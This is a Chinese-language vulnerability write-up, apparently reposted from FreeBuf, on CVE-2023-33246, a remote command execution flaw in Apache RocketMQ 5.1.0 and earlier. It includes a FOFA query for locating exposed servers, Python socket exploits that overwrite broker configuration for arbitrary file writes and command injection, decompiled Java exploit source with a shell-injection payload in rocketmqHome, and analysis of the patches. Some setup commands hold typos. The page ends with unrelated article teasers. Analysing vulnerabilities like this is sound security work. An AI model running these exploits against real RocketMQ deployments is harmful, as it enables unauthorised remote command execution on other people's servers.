Apache RocketMQ远程代码执行

news2024/11/22 5:44:39

漏洞概述

Apache RocketMQ是一个分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer(9876端口)、Broker(10911端口)、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果

影响范围

Apache RocketMQ <= 5.1.0

Apache RocketMQ <= 4.9.5

漏洞编号:CVE-2023-33246

官网描述如下:

也即是多个组件暴露在外网且缺乏权限验证

这次的漏洞实际上是两个洞,但是只收录了一个,RCE的过程中,用到了前面的一部分

环境搭建

FOFA:title="RocketMQ"

docker环境

拉取docker镜像

docker pull apache/rocketmq:5.1.0
docker pull apacherocketmq/rocketmq-console:2.0.0

启动namesrv

docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:5.1.0 sh mqnamesrv /bin/bash

启动broker

docker run -dit -p 10909:10909 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:5ok.1.0 sh mqbroker -c /home/rocketmq/rocketmq-5.1.0/conf/brer.conf

 

启动console

 docker run -dit --name mqconsole -p 8089:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.

访问8089看到控制台,arm下这个docker有一些问题,这里就直接用二进制环境复现

bin环境

./mqbroker
./mqnamesrv
./mqcontroller

其实可以只用broker组件来复现,任意文件写入是三个组件均存在的

漏洞复现

采用工具https://github.com/Le1a/CVE-2023-33246(该工具可以还原配置,不然要重复执行)

或者https://github.com/Serendipity-Lucky/CVE-2023-33246

两个工具用法稍微有一点不一样,具体用法看markdown文档,交互的过程用的自带的协议

python实现

import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.111.129',10911))
# data
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=1'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

改一下rocketmqHome(怎么改可以看后面)

漏洞分析

任意文件写入

漏洞分析

补丁:https://github.com/apache/rocketmq/pull/6733/files

从补丁中可以看到对properties中增加了黑名单类

  • brokerConfigPath(broker)

  • configStorePath(controller)

  • kvConfigPath(namesrv)

我们就用broker组件来实验

修改的点在src/main/java/org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java的updateBrokerConfig方法

其实通过方法名称和里面的一些流程,可以大致看出来可以去修改brokerconfig里面的properties

这个方法可以解析请求包的body,接着更新配置,用到的是Properties properties = MixAll.string2Properties(bodyStr);进行解析body中的内容,根据update方法我们来看到string2File,会写入fileName和fileName.bak两个文件这里的fileName是通过getStorePath传进来的

在namesrv中,这个是configStorePath

漏洞复现

import socket
import binascii

client = socket.socket()
# you ip
client.connect(('127.0.0.1',9876))
# data
json = '{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='brokerConfigPath=/tmp/aaa/CaSO4.txt\nconfigStorePath=/tmp/aaa/DawnT0wn.txt\nkvConfigPath=123\\nMy name is DawnT0wn'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

code是对应的功能

调用到DefaultRequestProcessor的updateConfig通过//n的方式换行插入数据,可以写定时任务

任意代码执行

补丁:https://github.com/apache/rocketmq/pull/6749/files#diff-90b2c9df4cdd6dacc2cbccf461d3677f4fc0b83a209b055e9ad27729bffe646e这次的补丁直接删除了FilterServerManager这个类,对BrokerController进行了简单的修改

关于filterServerManager的调用被删除了,我们来看到filterServerManager这个类

看到了与命令执行相关的方法

前面说获取config的,后面是执行命令的,我们不是windows系统的话会走到else分支执行命令,用sh执行startfsrv.sh,但是在此之前,拼接了this.brokerController.getBrokerConfig().getRocketmqHome(),如果RocketmqHome为-c $@|sh . echo open -a Calculator;的话,此时的命令就是sh -c $@|sh . echo open -a Calculator;/bin/startfsrv.sh -n NamesrvAddr

第一个命令是sh -c $@,它使用 sh 解释器执行传递给程序的参数。在这段代码中,$@表示接受传入的参数,并将它们作为命令来执行。

第二个命令是sh . echo open -a Calculator;/bin/startfsrv.sh -n NamesrvAddr,这里会打印输出open -a Calculator并返回给$@变量。

最后执行sh -c open -a Calculator

我们往上看

这个run0是新建了一个线程,每30s就会触发

在这个代码中,AbstractBrokerRunnable是一个继承自Runnable的抽象类,它重写了run0()方法来执行具体的任务逻辑。在run0()方法中,createFilterServer()方法被调用,该方法用于创建过滤器服务器。

scheduleAtFixedRate()方法接受四个参数:

  • 第一个参数是要执行的任务(Runnable对象)。

  • 第二个参数是初始延迟时间,表示在开始执行任务之前等待的时间(以毫秒为单位)。

  • 第三个参数是任务执行的时间间隔,表示每次任务开始执行之后,等待下一次执行的时间间隔(以毫秒为单位)。

  • 第四个参数是时间单位,用于指定延迟时间和时间间隔的单位(例如,TimeUnit.MILLISECONDS表示毫秒)。

根据给定的参数,这段代码会在启动后的5秒钟之后开始执行第一次任务,然后每隔30秒执行一次。

在这个类的start方法会调用createFilterServer,而createFilterServer会调用刚才的buildStartCommand,如果more>0的话, 会触发callShell方法执行buildStartCommand获取到的命令

前提是要控制BrokerConfig,在前面我们已经控制了这个地方

往上发现在brokerController的startBasicService中对这里的start进行了调用

而brokerController的start方法调用了startBasicService在启动broker的时候,BrokerStartup调用了controlle的start方法

除此之外,我们要知道FilterServerManager的run0方法会每30s执行一次

前面任意文件写入的流程中,我们知道了updateBrokerConfig可以通过body更新properties

那么这里的NamesrvAddr和RocketmqHome也是可控的,以及FilterServerNums也是可控的

于是就可以达到任意代码执行的目的

最后交互的数据包

EXP

前面贴出来了python的exp,是使用socket然后往里面塞入协议头,协议数据等实现的,协议主要包含四部分,协议总长度+json长度+json+body

import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.111.129',10911))
# data
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome=1'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

JAVA

在java中有已经封装好的依赖,在https://github.com/Le1a/CVE-2023-33246中可以发现用到了org.apache.rocketmq.tools.admin.DefaultMQAdminExt

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.le1a;

import java.util.Properties;
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

public class Main {
public Main() {
}

public static void main(String[] args) throws Exception {
String cmd = null;
String IP = null;
String Port = null;
String tmp = null;

for(int i = 0; i < args.length; ++i) {
if (args[i].equals("-ip") && i < args.length - 1) {
tmp = args[i + 1];
} else if (args[i].equals("-cmd") && i < args.length - 1) {
cmd = args[i + 1];
}
}

if (tmp != null && cmd != null) {
String[] ip_port = tmp.split(":");
if (ip_port.length == 2) {
IP = ip_port[0];
Port = ip_port[1];
} else {
System.out.println("参数输入有误,请检查!");
}

Properties props = new Properties();
props.setProperty("rocketmqHome", "-c $@|sh . echo " + cmd + ";");
props.setProperty("filterServerNums", "1");
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr("1.1.1.1:9876");
admin.start();
Properties brokerConfig = admin.getBrokerConfig(IP + ":" + Port);
String rocketmqHome = brokerConfig.getProperty("rocketmqHome");
System.out.println("初始rocketmqHome为: " + rocketmqHome);
admin.updateBrokerConfig(IP + ":" + Port, props);
System.out.println("攻击已结束!请稍后查看结果!");
Thread.sleep(35000L);
props.setProperty("rocketmqHome", rocketmqHome);
admin.updateBrokerConfig(IP + ":" + Port, props);
System.out.println("配置已经还原为: " + brokerConfig.getProperty("rocketmqHome") + "!");
admin.shutdown();
}

}
}

可以直接去调用rocketmq的对应功能,就不用直接写在python中了,最后恢复了配置

致谢:Le1a,H3mesk1t

参考链接

http://www.lvyyevd.cn/archives/rocketmqrcecve-2023-33246-fen-xi

https://github.com/Le1a/CVE-2023-33246

https://github.com/apache/rocketmq/pull/6733/files

https://github.com/apache/rocketmq/pull/6749/files#diff-75dc81431f5bf53074b54cc9c7085b7dc1d1d2faede5f6e15593aa07b28f1509

原文地址: https://www.freebuf.com/vuls/370739.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!

                  @ 学习更多渗透技能!体验靶场实战练习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1071952.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何使用 CloudQuery 对 100+ 套数据库进行安全管控?

业务挑战 A 集团信息部门发展将近 10 年&#xff0c;从最初的一个 MySQL 数据库到现在鱼龙混杂什么数据库都有&#xff0c;其中仓库部门用了 PostgreSQL 做数据底座&#xff0c;历史原因问题&#xff0c;生产系统却是使用 Oracle。基于信创的需求&#xff0c;上级领导要求试点…

CAMERALINK通信应用

简述&#xff1a; Cameralink是一个全面的视频接口&#xff0c;他可以满足以前所有的传输视频的功能&#xff0c;包括通信、配置、应答、同步、以及复位等等&#xff0c;在以前简单提过一下&#xff0c;但是没有深入研究&#xff0c;其实这个通信还是比较简单的&#xff0c;在这…

uniapp vue3 静态图片引入

方法一 从新定义路径 一定看好你图片的路径 代码 <template><div class"main">Main<img :src"getImg()" alt""></div> </template><!-- 方式一 // <script setup> // let imgName logo.png // cons…

材质、纹理、贴图的区别和关联

1、材质、纹理、贴图的概念 材质&#xff08;Material&#xff09;、纹理&#xff08;Texture&#xff09;、贴图&#xff08;Texture Map&#xff09;是计算机图形学中的三个概念&#xff0c;它们之间存在关系但也有一些区别。 材质&#xff08;Material&#xff09;是描述物…

计算机竞赛 题目:基于深度学习的中文汉字识别 - 深度学习 卷积神经网络 机器视觉 OCR

文章目录 0 简介1 数据集合2 网络构建3 模型训练4 模型性能评估5 文字预测6 最后 0 简介 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于深度学习的中文汉字识别 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &a…

爬虫破解:解决CSRF-Token反爬问题 - 上海市发展和改革委员会

标题:爬虫破解:解决CSRF-Token反爬问题 - 上海市发展和改革委员会 网址:https://fgw.sh.gov.cn/fgw-interaction-front/biz/projectApproval/home MD5加密:ca7f5c978b1809d15a4b228198814253 需求文档 采集数据如下所示: 解决反爬思路 这里只提供解决思路,解决反爬,…

30 数据分析(上)(业务略写可跳)|jupyter|matplotlib

文章目录 数据科学领域概述数据如何驱动运营给企业带来价值岗位关键词说明业务的商业模式 数据指标数据指标定义及常用数据指标如何选取指标分析角度计数流量导向的工具内容导向的工具用户导向的工具业务导向的工具 数据分析方法对比分析多维分析漏斗分析留存分析总结 用户画像…

基于Java的医护人员排班系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作…

Python教程——配置环境,再探IDE

文章目录 一、Python安装下载安装验证 二、第一个Python程序常见问题 三、Python解释器四、PyCharm工具安装和配置安装使用PyCharm基本使用 一、Python安装 下载 如果我们想要使用Python语言编写程序&#xff0c;我们必须下载Python安装包并配置Python环境&#xff0c;我们现…

如何防止重复提交订单?

重复提交原因 其实原因无外乎两种&#xff1a; 一种是由于用户在短时间内多次点击下单按钮&#xff0c;或浏览器刷新按钮导致。 另一种则是由于Nginx或类似于SpringCloud Gateway的网关层&#xff0c;进行超时重试造成的。 常见解决方案 方案一&#xff1a;提交订单按钮置灰 …

用Blender制作YOLO目标检测器训练数据

推荐&#xff1a;用 NSDT编辑器 快速搭建可编程3D场景 本文将介绍一种非常有吸引力的机器学习训练数据的替代方案&#xff0c;用于为给定的特定应用程序收集数据。 无论应用程序类型如何&#xff0c;这篇博文都旨在向读者展示使用 Blender 等开源资源生成合成数据&#xff08;S…

一盏茶的功夫帮你彻底搞懂JavaScript异步编程从回调地狱到async/await

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 &#x1f4d8; 1. 引言 &#x1f4d8; 2. 使用方法 &#x1f4d8; 3. 实现原理 &#x1f4d8; 4. 写到最后…

Linux I/O多路复用 select poll epoll

简介 select函数 poll函数 epoll函数

yolov7车牌识别(12种中文车牌类型)

12种中文车牌类型&#xff1a; 1.单行蓝牌 2.单行黄牌 3.新能源车牌 4.白色警用车牌 5 教练车牌 6 武警车牌 7 双层黄牌 8 双层武警 9 使馆车牌 10 港澳牌车 11 双层农用车牌 12 民航车牌 测试demo: 以yolov7-lite-s 为例: python detect_rec_plate.py --detect_model weigh…

408专题--计算机网络4W字完整版-考研专用

文章目录 前言1.计算机网络体系结构1.1 计算机网络概述1.2 计算机网络的功能1.3 计算机网络的组成1.4 计算机网络分类按照分布范围分类按照交换技术分类按照使用者分类按照传输技术分类按传输介质分类按照拓扑结构分类 1.5 计算机网络的性能指标1.6 计算机网络体系结构1.7 计算…

使用poi-tl循环导出word报表

先看模板和导出的效果 模板 效果 根据模板循环生成表格&#xff0c;每个表格再循环填充数据&#xff0c;也就是两层循环&#xff0c;第一层循环是学生学期信息&#xff0c;第二层循环是学生的成绩数据。 第一个循环 {{?listTable}} {{/}}第二个循环 {{reportList}} 表格…

关于:未同意隐私政策,应用获取ANDROID ID问题

我在提交华为应用时&#xff0c;总是提示【未同意隐私政策&#xff0c;应用获取ANDROID ID个人信息】&#xff0c;但是我已经全部去掉了&#xff0c;后面问了人工客服&#xff0c;反馈了如下信息 调用堆栈 com.unity3d.player.UnityPlayer.nativeRender(Native Method), com.un…

ViewStub

1.作用 1.性能优化&#xff1a; 用到的时候再去加载&#xff0c;不调用加载的话&#xff0c;不会显示 2.使用 1.xml 其中hecate_listview2x为里面加载的布局 <ViewStubandroid:id"id/hecate1_recycler_vs"android:layout_width"match_parent"andr…

python pytorch- TextCNN TextRNN FastText Transfermer (中英文)文本情感分类实战(附数据集,代码皆可运行)

python pytorch- TextCNN TextRNN FastText Transfermer 文本情感分类实战&#xff08;附数据集&#xff0c;代码皆可运行&#xff09; 注&#xff1a;本次实验&#xff0c;主要注重代码实现这些模型&#xff0c;博主的数据集质量较差&#xff0c;模型评估效果并不是十分理想&…

Springboot之AOP的执行顺序

AOP执行顺序验证 项目引入了依赖。自动开启了aop的配置。 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-aop</artifactId></dependency>切面上配置Order注解 切面类AopTest1&#xff0c;ord…